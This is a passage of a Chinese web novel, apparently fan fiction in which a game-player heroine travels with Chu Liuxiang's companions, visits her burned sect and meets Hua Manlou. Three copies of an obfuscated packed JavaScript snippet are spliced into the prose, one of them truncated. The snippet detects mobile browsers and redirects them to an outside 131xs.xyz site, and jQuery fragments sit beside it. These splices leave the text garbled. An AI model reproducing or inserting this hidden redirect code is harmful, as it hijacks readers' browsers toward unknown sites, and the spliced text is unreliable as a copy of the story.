龟兹王哈哈一笑,“今日之事少侠居功至伟,不必自谦。这宝石便当做临时的酬谢罢,回宫后本王另有重金要赏。” ‘极乐之星’的珍贵无需赘言。短短半月,已有数人为之丧命,楚、胡、姬三人更是眼睁睁看着彭家镖局的镖师横死大漠。 此刻,龟兹王竟就这样把它送给了芒青,连琵琶公主也不由得露出了些许诧异的神色。 芒青却似乎早有预料,分毫不见意外,笑道,“既如此,在下却之不恭了。” 龟兹王的目光中流露出一抹深意,同样朗声而笑,“现在的年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118117|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人真是后生可畏啊!” 姬冰雁冷道,“王爷既已事成,何不将话说得明白些。” 龟兹王道,“几位帮了本王这么大的忙,原该如此!” “不瞒诸位,我龟兹国的先祖曾经留下一笔遗产,以备后人不时之需。只是贼子安得山狡诈多疑,时时紧盯,本王便放出风声,让他以为只有‘极乐之星’才能开启宝藏。” 姬冰雁接道,“所以,当安得山一门心思扑在极乐之星上时,王爷已经暗度陈仓,动用了那批宝藏,趁机复国。” 龟兹王说:“不错!” 他眸色幽深,抚须道,“安得山以为机关算尽,他为刀俎,我为鱼肉,不想却是作茧自缚。” 楚留香道,“反贼自取灭亡,与人无尤。可惜那四名镖师为此白白枉费了性命。” 龟兹王叹息,“‘一将功成万骨枯’[1],君国之争,又有哪个不是血流漂杵?两害相权,也唯有舍小取大而已。” 楚留香默然,拱手作礼。 龟兹王转而笑道,“先前诸事匆忙,还未与几位介绍。”他伸手一请,面向青胡子,“这位便是‘沙漠之王’的旧部,本王复国之事,也多有仰仗之处。” 楚留香失声道,“‘沙漠之王’?那黑珍珠……” 青胡子傲然道,“正是我们家小王爷。” 楚留香面露急色,“阁下可曾在他身边见过三名少女么?” 青胡子蹙眉拍案,“你究竟是什么人?藏头露尾遮遮掩掩,此刻又刻意打探我家小王爷的行踪,意欲何为?!” 芒青看他们驴唇不对马嘴地说了半天,实在受不了这种双方都不长嘴的谜语人行为,不耐烦道,“楚留香。” 帐中的人齐刷刷扭头看向了她。 年轻人以手支颐,懒洋洋用下巴点了点楚留香的方向,“他的名字。” 青胡子瞪大眼睛,呆了两息,忽然起身离席,“原是楚香帅当面,失敬!” 胡铁花不由看愣了,酒都忘了喝,喃喃道,“老臭虫的名号果真有这么响亮么?” 楚留香也站起来还礼。客套一番后,交换了真实身份的两个人终于开始同频交流。 “不知蓉儿此刻在什么地方?” 青胡子道,“三位姑娘此刻俱都跟着小王爷一起入关去了。” 姬冰雁问,“你们小王爷又是何时入的关?” 青胡子说,“几日前,小王爷留给楚香帅的爱驹忽然自己跑了回来,三位姑娘和小王爷唯恐香帅遇到危险,便匆忙寻去了。” 他想起什么,恍然“哦”了一声,道,“沈小姐也是那时候走的。她原是为歹人所劫,正巧遇到我家小王爷,便被顺手救下了。” 胡铁花叹息,“原来那马能找到黑珍珠。若是我们当初骑着它进了沙漠,又何必走这么多冤枉路。难为它竟自己挣脱了缰绳回来寻主,倒是又成了一番阴差阳错。” 他捅捅姬冰雁,“老姬,看来你那农庄的守备也不很如何嘛。” 姬冰雁没搭理他,面色冷凝地喝了一口酒。 胡铁花不以为意,转念一想,又笑道,“不过咱们也正是因此才遇到了芒青姑娘,这岂非也是缘分?” 芒青看他一眼,心说这不都是策划安排的剧情吗。 玩家郁闷地点开游戏面板,左上角的待办支线果然已经不见了踪影。所以为什么不给限时提示啊! 18. 第十八章 * 酒足饭饱,各自歇息。 大漠的夜空带着原始而恢宏的壮美,天幕下的星穹仿佛触手可及。 黑马温顺地卧下,芒青倚在它结实的脖颈上,就着皎白的月光继续赶工。 一个人影悄然坐在了少年人身边。马的耳朵朝后撇去,好奇地凑近脑袋,咧开嘴嗅闻了一阵,又不感兴趣地转回头去。 琵琶公主靠着芒青的肩膀,抬目描绘着她专注的眉眼。 那根簪子已经很漂亮了,半透明的藕粉色玉石泛着莹润的光泽,簪头盛开的灼灼桃花栩栩如生。 芒青吹干净碎屑,指腹摩挲过去,确认没有毛刺,才把它放在了琵琶公主的掌心。 【赠送[B类饰品1],人物好感度+5,地图特殊加成,好感度+2】 玩家稍微惊讶了一下。原来手工艺品也能加好感度吗。 女孩子仰起脸,眸光盈盈,耳铛轻晃,“帮我戴上吧。” 她今天的装扮稍显素净,只有几枚小小的珠玉作为配饰点缀在发髻上。毫无疑问,它们的主人正等待着一个她真正心仪的头饰。 芒青顺从地找了一个合适的位置,把玉簪推进了云缎般的乌发之中。 年轻人的手尚未落下,琵琶公主已抬手摸了上去。 两个人就这样碰在了一起。 琵琶公主的眼神不躲不闪,直视着芒青,忽然笑了。 女孩子的笑靥让人联想起花蕊间振翅的蝴蝶、瓶中流动的蜜糖。 “你的手艺真好。”她说,“给很多人做过吗?” 少年人垂下视线,用手背轻轻蹭了一下她的颊侧,“没有。”停顿一下,像是觉得这样的解释有些单薄,补充道,“只给你做。” 琵琶公主凑得更近一些,让彼此可以轻而易举地听到对方的呼吸声。 她的胳膊搭上了芒青的脖颈,用气音小小声地问,“真的吗?” 芒青“嗯”一声,视线下意识追寻在姑娘的唇瓣上,努力分辨她的话语,“是承诺。” 得到回答,琵琶公主脸上的神色却忽然在一息之间消失了。 她仍旧维持着这个亲密而暧昧的姿势,像是已经洞悉了一切,平静道,“你要走了。” 芒青哑口无言,半晌才伸手抚上眼前人的面庞,在触及到她湿润的眼角时轻颤了一下,“对不起。我让你难过了吗?” 姑娘只是答非所问地说,“我放你走。过了今夜,我们就不要再见了。” 年轻人愣了一下,手落下去,别过头,眉宇压了下来,像一只不善言辞又被雨淋湿的可怜大狗,“……好。” 琵琶公主没有言语。那两条柔软的手臂抽离开来,怀抱也冷了下去。芒青抿紧了唇。 下一瞬,她的衣领陡然被人拽住,趔趄地拉着向前。 熟悉的芳香笼罩住了她,脸颊上传来柔软的触感,像被蝴蝶的翅膀轻轻拂过,一触即离。 芒青睁大眼,下意识撑住了身形,不让自己压到对面的那个人。 女孩子的气息扑在耳边,尾音带着朦胧的泣声。 “呆子。”她说。 * 兰州城,醉仙楼。 朱阁绮户、垂帘半卷,飞檐斗拱悬金铃,歌台暖响不似人间。 酒楼的布局呈现螺旋的塔状结构,四周是雕梁画栋的包厢和走廊,身处其中的人只需略略低头,便能将台下的歌舞尽收眼底。 此处正是姬冰雁的产业。 顶层包厢内,楚留香、胡铁花和姬冰雁已经入座。 他们仔细洗过了一遍热水澡、换了一身新衣,俱是容光焕发、神采奕奕。就连一点红看起来也同沙漠中的那个狼狈俘虏判若两人。 掌柜亲自把酒肉小菜送进包厢,圆胖的脸上笑意满面,“贵客的菜齐了,慢用。” 楚留香含笑向他点一点头,掌柜忙不迭还礼,觑眼瞧见姬冰雁没什么反应,便极有眼力地退开了。 胡铁花啧啧两声,对楚留香说,“威风、威风!铁公鸡真是今时不同往日。若非沾了他的光,恐怕你我也受不着这样大的阵仗。” 姬冰雁冷道,“吃也堵不住你的嘴么?” 胡铁花拿筷子点点他,“你看看你看看。” 一点红给自己倒了一杯酒,环视一圈,道,“芒青呢?” 楚留香:“早些时候芒青姑娘说要在城里转转,算算时间,大抵也快到了。” 话音未落,就听长廊尽头的楼梯上传来一阵轻巧的脚步声,不多时,外间珠帘摇晃,发出了清脆的碰撞声。 楚留香起身相迎,却在看清来人的模样时愣在了原地。 少年人换了一身赤色劲装,外罩一件轻薄绛纱,袖口收紧,两条漆玄长绳勒着小臂处纯白色的护腕,窄腰下坠了一枚环佩。 玉冠束起的马尾散在身后,几缕碎发落在脸侧。眉目如画、神采飞扬,当真风流无比。 她入了座,从怀里摸出一袋栗子糕。 油纸揭开,黄灿灿的糕点还散着热气,酥皮挂在糕饼上,稍稍一碰就碎在了旁边。 芒青把重剑摘下来,从左手倒腾到右手,放在了一侧的软椅上。 胡铁花呆呆地举着酒杯,半晌才反应过来,立时连手脚都不知道该往哪放了。 姬冰雁的目光落在她身上,罕见地夸赞道,“新衣服很好看。” 审美得到了肯定的玩家喜笑颜开,“多谢多谢。” 楚留香也跟着笑起来,示意了一下栗子糕,问,“这是芒青姑娘买的么?” 芒青先下意识“嗯?”了一声,而后回道,“不是。好心人送的。我排队的时候正巧卖完了。应该还挺好吃的,毕竟很受欢迎啊。” “谁送的?男人还是女人?” 芒青倒果子露的动作一顿:“?” 她转头望向说话的人。虽然不明白胡铁花为什么会有这么奇怪的问题,但还是回答了,“排我前面的一个女孩子。” 得到答案,胡铁花看起来却更沮丧了一些。 平心而论,其实仅凭芒青这副俊朗的容貌,就已经足够吸引到很多人的注意了。这实在是一个极风流出众的人物。 更不要说她身上还藏着许许多多引人探寻的秘密、带着一点恰到好处的悲情色彩。 这样的一个人,就像一本只绘制了半卷的书。 即使你和她并不熟识,也会很乐意同她交谈上两句话的。而一旦你和她说过了话、了解了她的为人,你就很难不会喜爱上她。 * 即使兰州地处内陆,又毗邻大漠,但在这栋酒楼里,人们同样能品尝到来自南方的美食。 敲开泥壳、剥开荷叶,叫花鸡软嫩多汁。蟹黄汤包的薄皮隐隐透出内馅,汤水鲜美。火腿和莲子、蜜枣相互佐配,成就一道蜜汁火方。 胡铁花举杯痛饮,不过片刻就已迷蒙起来。 楚留香似乎仍有什么心事,身前的酒盏除了偶尔几次同好友的碰杯外,竟再没怎么沾唇。 姬冰雁看他两眼,了然道,“你还在想石观音的事情么。” 楚留香苦笑着叹一口气,“遇到这样难解的问题,我总是免不得要刨根究底一番的。” 芒青放下了筷子。 策划送线索的剧情前摇。玩家懂的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118118|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她翻出先前击杀boss的系统奖励,找到[石观音的身世线索1],选择了查看。 光屏上的虚拟信笺逐渐化为星星光点,凝聚成了一句话。 芒青缓缓地把它念了出来。 “——石驼原名皇甫高,石观音本名李琦。” 楚留香的眼睛陡然睁大了,他几乎是立刻就联想到了什么,失声叫道,“天枫十四郎!” 姬冰雁凝神思索一阵,同样神色大变,不过他留意的却是另外一个人,“皇甫高……皇甫高!难道他竟是当年的“华山七剑”之首皇甫高么?!……可他又是如何沦落到如今这般地步的?” 楚留香的表情已慢慢变得平静了下来。那是一种了然、洞悉的平静。 他微笑道,“你莫忘了,石观音本姓李。” 姬冰雁脸上的困惑之色不减,楚留香叹息一声,解释道,“许多年前,黄山世家与华山剑派决一死战,只有一个女孩子侥幸活了下来。为了躲避追杀,她远渡东瀛,在那里结识了天枫十四郎,诞育两子。” “这两个孩子,一个曾为丐帮帮主收养,一个拜入了少林门下。” 一点红握紧了剑柄,“南宫灵和无花。” 楚留香道,“不错。” “这位坚贞孑然的李姑娘在东瀛学成武艺,便回来找昔年的弑亲仇人报了仇。待众人得知华山七剑遇难的消息,再去寻她时,才发现此人早已踪迹全无。” 姬冰雁沉声道,“只怕任谁也想不到,沙漠中横空出世的魔头石观音竟然就是当年的黄山遗孤。” 楚留香将杯中的酒水一饮而尽,“我与无花曾为莫逆之交,当初的我又如何能想到其中还有这般曲折离奇的故事呢。” npc话音甫落,游戏面板就刷新出了提示。 【玩家成功破解[石观音的身世],副本一已完成,正在结算奖励】 【loading……】 【玩家获得经验点数500,获得纪念道具[CG贺图(未命名)] [主线线索1 宗门地点]已解锁,点击可前往地图查看】 楚留香叹慨良多,一点红却并不关心其中的爱恨纠葛。 他是一个杀手,而杀手的感情本就不会有多么丰富的。 此刻,这个冷硬、少言、仿佛要把自己跟黑夜融为一体的男人正紧紧地盯着身边的年轻人。 她的姿态懒散随意,眉宇间神色轻快,衣着鲜亮又得体,看起来就像世间任何一名走马看花、畅意逍遥的富贵少年人一样。 但你若是仔细地去瞧上一瞧,不消多时便能觉察出其中的一二端倪。 她的手和身上的其他裸露的皮肤一样,比腰间的那块羊脂玉还要白皙,但绝不会有人因此错认她的身份。 这是一双属于刀客、剑客的手。骨节分明、骨肉匀称,掌心和虎口覆着一层薄茧,手背上淡青色的脉络蜿蜒地没入皮肉之下。 此刻,这双手的主人正闲适地执着一盏茶碗。 澄黄的茶汤沿着杯壁晃动,稳当的没有洒出半滴。 一点红仍记得那长虹一剑。 持剑之人离得很近,近到他可以清晰地看见面前人的眼神。 那是属于剑客的眼神。 一点红的身体几乎瞬间便被这样的目光引燃了。他曾经无数次注视着那个人的背影握紧了自己的剑。 中原一点红是一名杀手,更是一个剑客。 当剑客遇到了那个令他魂牵梦萦的对手时,即使早已知晓结局,也是一定要去试一次、战一回的。 于是剑客站起来,对他选中的人说出了那句话,“我们用剑比一场。” 19. 第十九章 * 楚留香、姬冰雁和胡铁花都看了过来。目光中有些惊诧,也有些许了然。 习武之人大抵曾经都有过类似的经历。可惜在场五人注定只有npc自己在燃,玩家并不能体会这样的感同身受。 芒青瞥了一眼还在冷却期的断山剑,又看了看一点红头顶上明晃晃的组队标识,无语凝噎。 经验包近在咫尺,奈何她此刻就像被送了一瓶飘柔洗发水的和尚,只能望洋兴叹。 策划走剧情的时候能不能因账号而异一下? 绝望的玩家彻底没招,最终选择胡扯,委婉劝退道,“这把剑一旦出鞘,是一定要见血的。” 断山剑一共出过两次手,一次送走了无花,一次送走了石观音,不算她撒谎。 “嗯。”一点红毫不犹豫,他的眼睛里燃烧着灼灼战意,“那就见血。” 芒青:“……” 她垂死挣扎,“可是我并不想让它见血。” 一点红的目光中流露出了些许困惑、些许愤怒。或许他认为自己身为剑客的尊严受到了冒犯。 芒青打量着他变幻的神色,忽然觉得有点意思。颇有些恶趣味的玩家在挑起npc的情绪后反而平静了下来。 她装模作样地沉吟片刻,杀手的心也跟着渐渐提了起来。莫名有种拿胡萝卜吊着骡子跑的既视感。 年轻人见好就收,在对面人彻底急眼前慢悠悠地补上了后半句话:“而且,这把剑也不杀好人。” 一点红周身的气压仿佛都变低了,冷硬道,“死在我剑下的‘好人’有很多。” “可我觉得你应该是一个不错的人。楚大侠交朋友的眼光不会太差。”芒青认真地说,“面对好友的离世,他也一定会很伤心的。我不想让我的朋友因为这种事情伤心。” 楚留香不由摸了摸鼻子。其实他更想摸的是自己的耳朵,他感觉那里有点发烫了。 一点红看着芒青,少年人坦然地回视,目光仍旧是那么清明、澄澈,映不进一丝杂质。 正午的阳光透过珠帘照进来,舞乐丝竹的声音经过层层回声袅袅传入包厢。一点红忽然觉得这一幕有些太过刺眼。 他抿唇别开了视线。比剑的邀约也就此草草收场,再无人提起。 * 姬冰雁是一个很懂得享受的人,绝不会委屈自己。而能被他用来招待朋友的,同样必定俱是珍馐佳肴。 楚留香几人到得稍早,待众人酒足饭饱,下楼时正赶上了饭点。不仅是雅间,就连大堂也座无虚席。 台上的汉子顶着数只大碗表演杂耍,瓷碟被抛向半空,稍稍一滞,便如散花般落下。 那壮汉灵活地左伸右支,转眼间就已全都稳稳地接在了手里。 台下的喝彩声稀稀落落,他也不恼,眉开眼笑地鞠了三次躬,退将下去。 掌柜的在账台后噼里啪啦打着算盘,见到姬冰雁下来,忙不迭迎上前。 他实在极有眼色,并不与顶头上司寒暄,只在芒青四人跟前帮老板把面子做足。 伸手不打笑脸人,何况人家先敬了一丈。楚留香和胡铁花免不得要同他客套两句。 恰在此时,邻桌的一名食客忽然一搁酒杯,熏陶陶道,“——兄台此言差矣!石观音作恶多端不假,可如若不是她有一二真本事在身,那些附从之人既非良善之辈,又岂能心甘情愿为她驱使?” 芒青捕捉到关键词,和楚留香一起回头瞧去。 另一人驳声道,“你说的话不假,可惜她的本事俱都用去戕害人命了!如此邪魔外道,纵使她有通天的手眼,也终会伏诛!” 那食客还待争论,被同伴手疾眼快地摁了下来,赔笑,“李兄喝醉了,我扶你回去歇息……” 反驳的人皱着眉,不满地咕哝两句,却也并不想把事情闹大,随他们去了。 楚留香收回视线,微微一叹。 胡铁花苦笑,“想不到这世间竟还有崇拜石观音的人。” 姬冰雁冷声,“功名利禄又有谁不想要。” 芒青悠然道,“由古至今,热衷于此的人从来不少,只是有些人选择克制自己的欲望,而有些人甘愿被欲望吞噬。” 如若石观音是一个无权无势的小人,人们大可以肆意地讥笑、编排她。痛斥她的所作所为。 可她偏偏拥有这天下大部分人都无可匹敌的力量,又在距离成功只有一步之遥的时候被人打败。英雄末路、成王败寇,旁人便也免不得要为之慨叹一番了。 * 芒青在兰州城逛了几日,便向姬冰雁提出了告辞。 她要回一趟宗门,而楚留香也需要去中原寻找苏蓉蓉等人,一并追查画眉鸟的下落。 清晨的兰州已有了星点炊烟,小贩们挑着扁担排队等待着入城。 姬冰雁的马车停在门口,芒青第一眼看见它的时候就觉得这是古代版房车。她下榻的这家兰州城最豪华的客栈同样姓姬。 黑马被小厮从马厩里牵出来。人家的手一撒开缰绳,它立刻嫌弃地抖一抖毛,忙不迭往芒青身上凑。 楚留香看得好笑,又觉此马实在很有灵性,不由揉了一把马毛。 马:“……” 它烦躁地踢了一下蹄子,只想远离这些愚蠢的人类。 身着白袍的男人把水囊挂在马背上,含笑道,“一路顺风。” “多谢。也祝楚大侠日后逢凶化吉、马到功成。” 楚留香唇边的笑意更浓了几分。 芒青像是忽然想到了什么,恍然自语道,“差点忘了。” 她从行囊里摸出一只小木雕,递给楚留香,“送给楚大侠的。” 【赠送[D类饰品1],人物好感度+5,地图特殊加成,好感度+2】 楚留香接过来,发现那是一个由金丝木雕成的偶人,情态动作栩栩如生,正是收礼之人本尊。 他诧异地抬头看去,年轻人眉梢轻挑,道,“这次没发现吧?” 浪子罕见地没有反应过来,下意识地问,“什么?” 芒青脸上浮现出一点得意又狡黠的揶揄,调侃道,“我雕的时候偷看过楚大侠几回。观香帅这副模样,大抵是没被发现的。” 楚留香心脏陡然漏跳一拍,不由攥紧了手里的木头。 胡铁花闻言哈哈大笑,半真半假地抱怨,“芒青姑娘,你怎么只送老臭虫礼物,难道我们都没有么?” 芒青说,“胡大侠和姬先生的那两块得等光顾我生意的时候才给。” 胡铁花道,“难道你还怕我们爽约不成?你的邀请,我纵使是爬也会爬过去的!” 芒青莞尔,“有时候老友再聚,也是需要一个理由、一点话题的。” 姬冰雁直视着她,郑重道,“那我就等着你和我们再会。” 芒青点一下头,“再会!” 她小腿一磕马腹,黑马立时撒欢般纵身疾驰,脚步雀跃,转瞬便已消失在了长街的尽头。 姬冰雁收回目光,转头看到了楚留香的神色。 他表情一滞,半晌摇头轻哂。 或许就连这位风流多情的浪子自己都没有发现,他现在的表情究竟有多么复杂苦涩。 * 芒青沿着系统地图一路向南。虽然已经得到了主线剧情的线索,她却并不急着赶路。 遇到繁华地带时会入城玩两天,遇到合眼缘的乡村小馆时,也会走进去歇歇脚。 她在临近目标地点时勒马停步,宿进了一家旅馆。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118119|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 旅馆的规模不大,只雇佣了两个跑堂的伙计。平日里帮工和老板一家都住在店里。 老板性格爽利,听说芒青要长住,就把炉灶免费借给她用,但是柴火要自己劈。 玩家花费大半个月的时间融入了这个山脚下的小小村镇,顺便把厨艺的属性值刷到了高级。 终于,在一个薄雾的清晨,准备充分的玩家上了山。 山间的空气夹杂着草木的清香,含着凉意的微风卷走了人的体温。 枝叶繁茂,丛林静谧。偶尔会有一二虫鸣传来,更多的则是行路者自己一个人呼吸和心跳的声音。 愈往后走,人烟活动的痕迹便愈少几分。 系统地图上,代表玩家的箭头距离那枚标识点越来越近,直到二者全然重合。 芒青拨开灌木,枝刺划过手背,留下一道道深浅不一的血痕。她抬起头,看见了一条蜿蜒的石梯。 石梯镶嵌在山体中,盘旋着向上,有数百阶之多。青苔遍布,夹缝中杂草丛生。当人身处其中时,便显得无比渺小。 少年人扶着刀柄,大步拾阶而上。 石阶的尽头是一片一眼望不到尽头的樱树林。倘若人站在山脚下往上看,视线遮挡,却是完全瞧不见的。 此刻并不是樱花盛开的季节,芒青踩过草叶,穿过一棵棵被绿叶覆盖的巨木。她停下脚步,看到了眼前的建筑。 那一定是许多人珍重、爱惜的所在。或许他们曾亲手将砖瓦搭上墙头,或许他们曾亲手栽下小小的幼苗,一日日看它长成参天的模样。 可这里如今却只剩下满目的疮痍。 屋顶和墙壁一起倒塌,回廊边成荫的葡萄藤垮落在地,蜷曲枯萎,只有一两枝新抽的嫩芽从地下钻出,沿着藤架蜿蜒攀爬。 池塘早已干涸。莲叶翻覆,露出腐烂的莲藕。凉亭上的摇椅被高温融化,只留下被砸翻的石桌。 火焰舔舐的漆黑焦痕无处不在,像一条条嘶嘶吐信的毒蛇,断壁残垣。 有些屋舍的门已经被烧灼成了地上的一摊灰烟,有些屋舍的门窗仍摇摇欲坠地连接在歪斜的门框上。 芒青一步步走过去,她辨认出学堂教室的模样,辨认出那一间间属于同宗手足的寝室。 最后,她走到了一片空地上。 宽阔、平坦。对面是从崖边飞落而下的瀑布,其声隆隆,几乎震彻云霄。 眼前的画面陡然变幻。芒青看到斑驳的土地上重新覆满了浅草,纯白色的小小花朵随着清风摇晃,远处青瓦白墙,绿意融融。 一个少年人弯腰半跪,把着孩子的小腿,替她摆正了姿势。 孩子的年纪还很小,脸颊圆润,像一只刚出锅的白胖包子,神色坚毅地扎着马步。 玄衣青年闲散地叼着根狗尾巴草漫步而来,瞧见这一幕,噗嗤一乐。 少年直身弯腰行礼,“二师姐。” 青年没搭话,随意一摆手,两步上前去,没轻没重地捏了捏小孩的脸蛋,末了搓搓指尖,感慨,“手感不赖啊。” 小孩:o_o 小孩:T_T 她虽然哭,但是没声没响,两条短胖的胳膊仍朝前举着,维持着先前的姿势。 少年先替孩子擦了眼泪,又把她略微变形的动作纠回来,才转身正色道,“师姐,非礼勿动。君子之交当以礼相待,不可轻慢。” 青年人无所谓地“嗯嗯啊啊”两声,态度极其敷衍且不着调,“知道了学究。师傅叫你。话我带到了,记得去一趟哈。” 她挥挥手走远了。画面也就此消散。 芒青垂目看着脚尖前遍布焦土的地面,缓缓握紧了刀柄。 策划你赢了。玩家一定会把反派揪出来细细地切做臊子。 20.第二十章 * 江南。 烟雨朦胧,江面水雾氤氲。渔翁头戴箬笠、身披蓑衣,竹篙一撑,小筏便悠荡荡滑出了数丈。 花满楼坐在小几边,雨水从屋檐、叶片间滑落,淅淅沥沥地坠在青石板路上。 百花楼的大门敞开着,今天却少见的没人进来躲雨。偶尔有行人脚步匆匆地经过,飞溅的水花沾湿了裤脚。 临窗的花枝被风吹得摇曳,偶尔有几丝细雨飘上叶瓣,留下一道透明的水痕。 这场雨持续到了傍晚。 天色昏沉,叫人辨不清太阳的方位。直至夜半,连绵的嘀嗒声才渐渐止歇。 乌云遮挡了月色,室内一片静谧的昏暗。花满楼耳尖微动,片刻后掀开被子,起身披上了外袍。 这看起来并不像一个被惊扰了睡梦的人。他神色清明如常,推开卧房的屋门,走到外间的桌案边,缓缓坐下来沏了一壶茶。 沸腾的开水在炉火上咕嘟作响,掩盖住了窗外传来的一二不寻常的古怪声音。 楼下的树忽而摇晃起来,枝叶“咚”地撞上了窗棂。从屋内看去,只能瞧见树杈漆黑的扭曲投影。 花满楼仿佛什么都没有察觉,依然专注地做着手里的事情。 直到一截锋利的剑尖乍然捅破了窗纸。 似乎再没有了顾忌,屋外人的动作也在这一刻变得凶猛、激烈起来。 夹杂着些微苦意的清香逐渐在室内弥散开。花满楼终于倒好了两盏茶水,伸手推开了窗户。 云层被风催促着变幻了形状,月亮终于探出了些许边角。 月光澄明,树影斑驳。花满楼静坐在蒲团上,点燃了一根火折。 就在火焰跳动着跃起的一瞬间,雷声轰鸣,闪电划破了夜空。 一名蒙面青衣人陡然自树上纵身一扑,目露凶光,神色狰狞,袖中短剑出鞘,直取花满楼的咽喉。 剑刃划破空气,发出一阵细微却刺耳的尖鸣。 又是轰隆一道惊雷。花满楼的眼皮都没有多眨一下,不躲不闪,几乎已将最致命的破绽亮给了敌人。可若叫懂行的人来看,他们便能预料到这攻其不备的行刺之人必定不会得手。 就在短剑即将触到花满楼的咽喉的千钧一发之际,他迅然出手,两根手指瞬时悍如铁钳般牢牢夹住了那锋锐的剑刃。 与此同时,另一道极细微的噗嗤声也自刺客的身后传来。 长刀入肉,仿佛切开了一块豆腐。刀身迎着轻微的阻力插进去,拔出来却容易上许多。 血花飞溅,泼墨般洒满了窗纸。 闪电如同游龙一般穿梭在云层之间,映亮了少年人压低的冷沉眉眼。 才止歇不久的大雨再次倾盆而下。 芒青拽着尸体软绵的后颈,把他往外一拖,随意挂在了树杈上。 她一手收刀入鞘,另一只手撑着窗框翻身而入,“你没事吧?” 花满楼松开手指,短剑叮叮当当地落在桌子上,竟已断成了三截。他的另一只手仍稳稳持着那枚火折。 遇到这样的无妄之灾,他的态度却从容又谦和,一如往常和煦、温润。 竹筒内的火焰未熄,花满楼把蜡烛点起来,伸手一请,道,“不期有客临门,招待仓促,姑娘见谅。” 芒青困惑地“嗯?”了一声,收回脚步,仔细打量他一番,又看了看被引燃的烛火,若有所思道,“你是个好人啊。” 花满楼一愣,旋即微笑起来。 他听到面前的年轻人坐了下来,夹杂些许户外湿润的水汽。紧接着是陶瓷与木桌轻微碰撞的声音。她端起了茶盏。 芒青的心思不在品茶,只囫囵吞枣地一饮而尽,目光落在破损的窗轩上,“窗纸破了,而且染上血了。” 她果断道:“我赔你。” 她的表述方式有些奇怪,比起交谈,反而更像是说明。 花满楼半垂的眼睫轻轻一颤,动作稍顿,“不必如此。这里收留需要帮助的人,并无需偿还什么。” 芒青挑眉,“在下现在正是一个需要帮助的人。” 花满楼适时地露出一点困惑的微笑。 年轻人面不改色地讲着歪理,“在下不慎弄坏了别人家的财物,若不把承的情还清,定然寝食难安、夜不能寐,所以请阁下务必仗义援手,帮在下寻一个补偿的机会。” 花满楼面上的笑意更深几分,摇摇头,无奈叹道,“那便只好请姑娘替我修一修窗纸了。” 【支线任务[花满楼的请托]已开启,任务进度[0/1] 点击查看详情】 芒青一口应下,大致估算了处理尸体的时间,“没问题。我明早过来。” 她起身一搭窗框,正要故技重施翻出屋去,却又被花满楼叫住。 玩家回头看去,烛火莹莹,npc正面朝着她的方向,眉眼温柔、气质恬淡,这样一副模样实在很有娴静人夫的既视感。 “在下花满楼,请问姑娘名姓?” 芒青给建模师点了个赞,不忘回答道,“芒青。” 花满楼把这两个字在心底重复一遍,含笑颔首,“芒青姑娘,再会。” 旁边那户的房顶上还列着一串魂归西天的好汉,玩家惦记着毁尸灭迹的大事,一手捞过树上的倒霉刺客,动作略显急切,扬声道,“明天见!” * 翌日一早,芒青带着糨糊和浸过油的新窗纸准时找花满楼报道。 她一夜没睡,冒雨赶去城郊挖个坑把刺客给埋了,吃两粒回春丹,立刻满血复活,回来上工。 芒青到了地方,抬头一看牌匾,刷过漆的楠木光泽莹润,其上书就“百花楼”三个大字。 白日里光线充足,芒青终于看清了小楼的全貌。 百花楼果然无愧于它的名字,满堂春色,花团锦簇。若仔细去数,只怕真有上百种花栽植其中。 昨夜的血渍已然干涸,混着雨水在窗纸上留下深深浅浅的红痕。巧匠属性值点满的玩家一顿猛干,不过多时,惨遭坏蛋痛殴的木窗便焕然一新。 花满楼又在他的小几上泡茶。青年的手臂略微高抬,水流冲入盖碗,普洱茶的叶片缓缓舒展。 他依然倒了一杯茶水给芒青,并不提及她今天来这里的目的。 花满楼虽然目盲,可他的心却比这世间的绝大多数人都要通达。 芒青这一类人有着自己处事的准则,并要求自己严格地遵守它们,不跃底线半步。 这是一种值得敬佩的品质,旁人若因此便对其大加褒赞,才是真正看轻了他们。 芒青喝光了那一盏茶水,如同昨夜一般没有多待,事毕便走。 出了百花楼,向东行两条街,便到达了城中最繁华的地段。 道路两侧悬着灯笼。待到晚间暮色四合之时,宾客往来、络绎不绝,这些灯笼就会渐次亮起。远远望去,犹如一条蜿蜒的长龙。 未至饭点,店家门扉虚掩,酒旗在半空有气无力地随风摇晃,彩绸寂寥地悬挂在二楼的栏杆处,扑面而来的却仍是前一夜残留的浓烈酒香和脂粉的甜腻气息。 宿醉的客人摇摇晃晃地登上门外的马车,几名颜色鲜艳的少男少女目露不舍,挥着折扇和手帕与他们道别。 芒青随意找了一家环境不错的食肆,听说书先生说了两个时辰的皇宫狗血爱情故事,直讲得那留着一把细细山羊胡的中年文士口干舌燥。 